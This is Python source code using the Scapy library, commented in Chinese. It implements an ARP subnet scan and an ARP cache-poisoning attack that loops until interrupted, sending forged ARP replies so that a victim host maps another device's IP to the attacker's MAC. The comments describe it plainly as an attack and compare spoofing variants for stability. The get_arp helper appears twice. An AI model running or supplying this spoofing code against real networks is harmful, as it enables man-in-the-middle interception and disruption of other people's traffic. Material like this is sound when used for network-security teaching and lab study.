def arp_scan(network_prefix, ifname): #localip = get_ip_address(ifname) #获取本机IP地址 localip = get_ip_address_ifconfig(ifname)['ip_address'] #获取本地MAC地址 localmac = get_mac_address(ifname) #把网络前缀通过'.'分开,并且产生清单prefix prefix = network_prefix.split('.') #产生一个扫描设备的IP清单 ip_list = [] for i in range(254):#0到253 ipno = prefix[0] + '.' + prefix[1] + '.' + prefix[2] + '.' + str(i+1)#需要把i+1,这样就是1-254 ip_list.append(ipno) #把IP地址添加到扫描清单 #发送ARP请求包,并等待响应结果##################################################################################################地址为清单######################配置超时时间################ result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF')/ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_list), iface = ifname, timeout = 1, verbose = False) #把响应的数据包对,产生为清单 result_list = result_raw[0].res #扫描得到的IP和MAC地址对的清单 IP_MAC_LIST = [] for n in range(len(result_list)):#len(result_list)表示响应数据包对的数量 IP = result_list[n][1][1].fields['psrc'] #提取响应包,ARP头部中的['psrc']字段,这是IP地址 MAC = result_list[n][1][1].fields['hwsrc'] #提取响应包,ARP头部中的['hwsrc']字段,这是MAC地址 IP_MAC = [IP, MAC] #把IP和MAC做成清单 IP_MAC_LIST.append(IP_MAC) #把IP和MAC做成的清单,添加到IP_MAC_LIST这个上一级清单里边 return IP_MAC_LIST #返回IP_MAC_LIST这个清单
def arp_spoof(ip_1, ip_2, ifname): global localip, localmac, ip_1_mac, ip_2_mac, g_ip_1, g_ip_2, g_ifname #申明全局变量 g_ip_1 = ip_1 #为全局变量赋值,g_ip_1为被毒化ARP设备的IP地址 g_ip_2 = ip_2 #为全局变量赋值,g_ip_2为本机伪装设备的IP地址 g_ifname = ifname #为全局变量赋值,攻击使用的接口名字 #localip = get_ip_address(ifname) #获取本机IP地址,并且赋值到全局变量localip localip = get_ip_address_ifconfig(ifname)['ip_address'] #获取本机MAC地址,并且赋值到全局变量localmac localmac = get_mac_address(ifname) #获取ip_1的真实MAC地址 ip_1_mac = get_arp(ip_1, ifname) #获取ip_2的真实MAC地址 ip_2_mac = get_arp(ip_2, ifname) #引入信号处理机制,如果出现ctl+c(signal.SIGINT),使用sigint_handler这个方法进行处理 signal.signal(signal.SIGINT, sigint_handler) while True: #一直攻击,直到ctl+c出现!!! #op=2,响应ARP sendp(Ether(src=localmac, dst=ip_1_mac) / ARP( op=2, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface=g_ifname, verbose=False) #op=1,请求ARP #sendp(Ether(src=localmac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False) #以太网头部的src MAC地址与ARP数据部分的hwsrc MAC不匹配攻击效果相同 #sendp(Ether(src=ip_1_mac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False) #如果采用dst为二层广播,会造成被伪装设备告警地址重叠,并且欺骗效果不稳定,容易抖动! print("发送ARP欺骗数据包!欺骗" + ip_1 + '本地MAC地址为' + ip_2 + '的MAC地址!!!') time.sleep(1)
def get_arp(ip_address, ifname): #localip = get_ip_address(ifname) #获取本机IP地址 localip = get_ip_address(ifname) #获取本机MAC地址 localmac = get_mac_address(ifname) #发送ARP请求并等待响应 result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF')/ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_address), iface = ifname, verbose = False) #把响应的数据包对,产生为清单 result_list = result_raw[0].res #[0]第一组响应数据包 #[1]接受到的包,[0]为发送的数据包 #[1]ARP头部字段中的['hwsrc']字段,作为返回值返回 return result_list[0][1][1].fields['hwsrc']
def get_arp(ip_address, ifname): #localip = get_ip_address(ifname) #获取本机IP地址 localip = get_ip_address(ifname) #获取本机MAC地址 localmac = get_mac_address(ifname) #发送ARP请求并等待响应 result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF') / ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_address), iface=ifname, verbose=False) #把响应的数据包对,产生为清单 result_list = result_raw[0].res #[0]第一组响应数据包 #[1]接受到的包,[0]为发送的数据包 #[1]ARP头部字段中的['hwsrc']字段,作为返回值返回 return result_list[0][1][1].fields['hwsrc']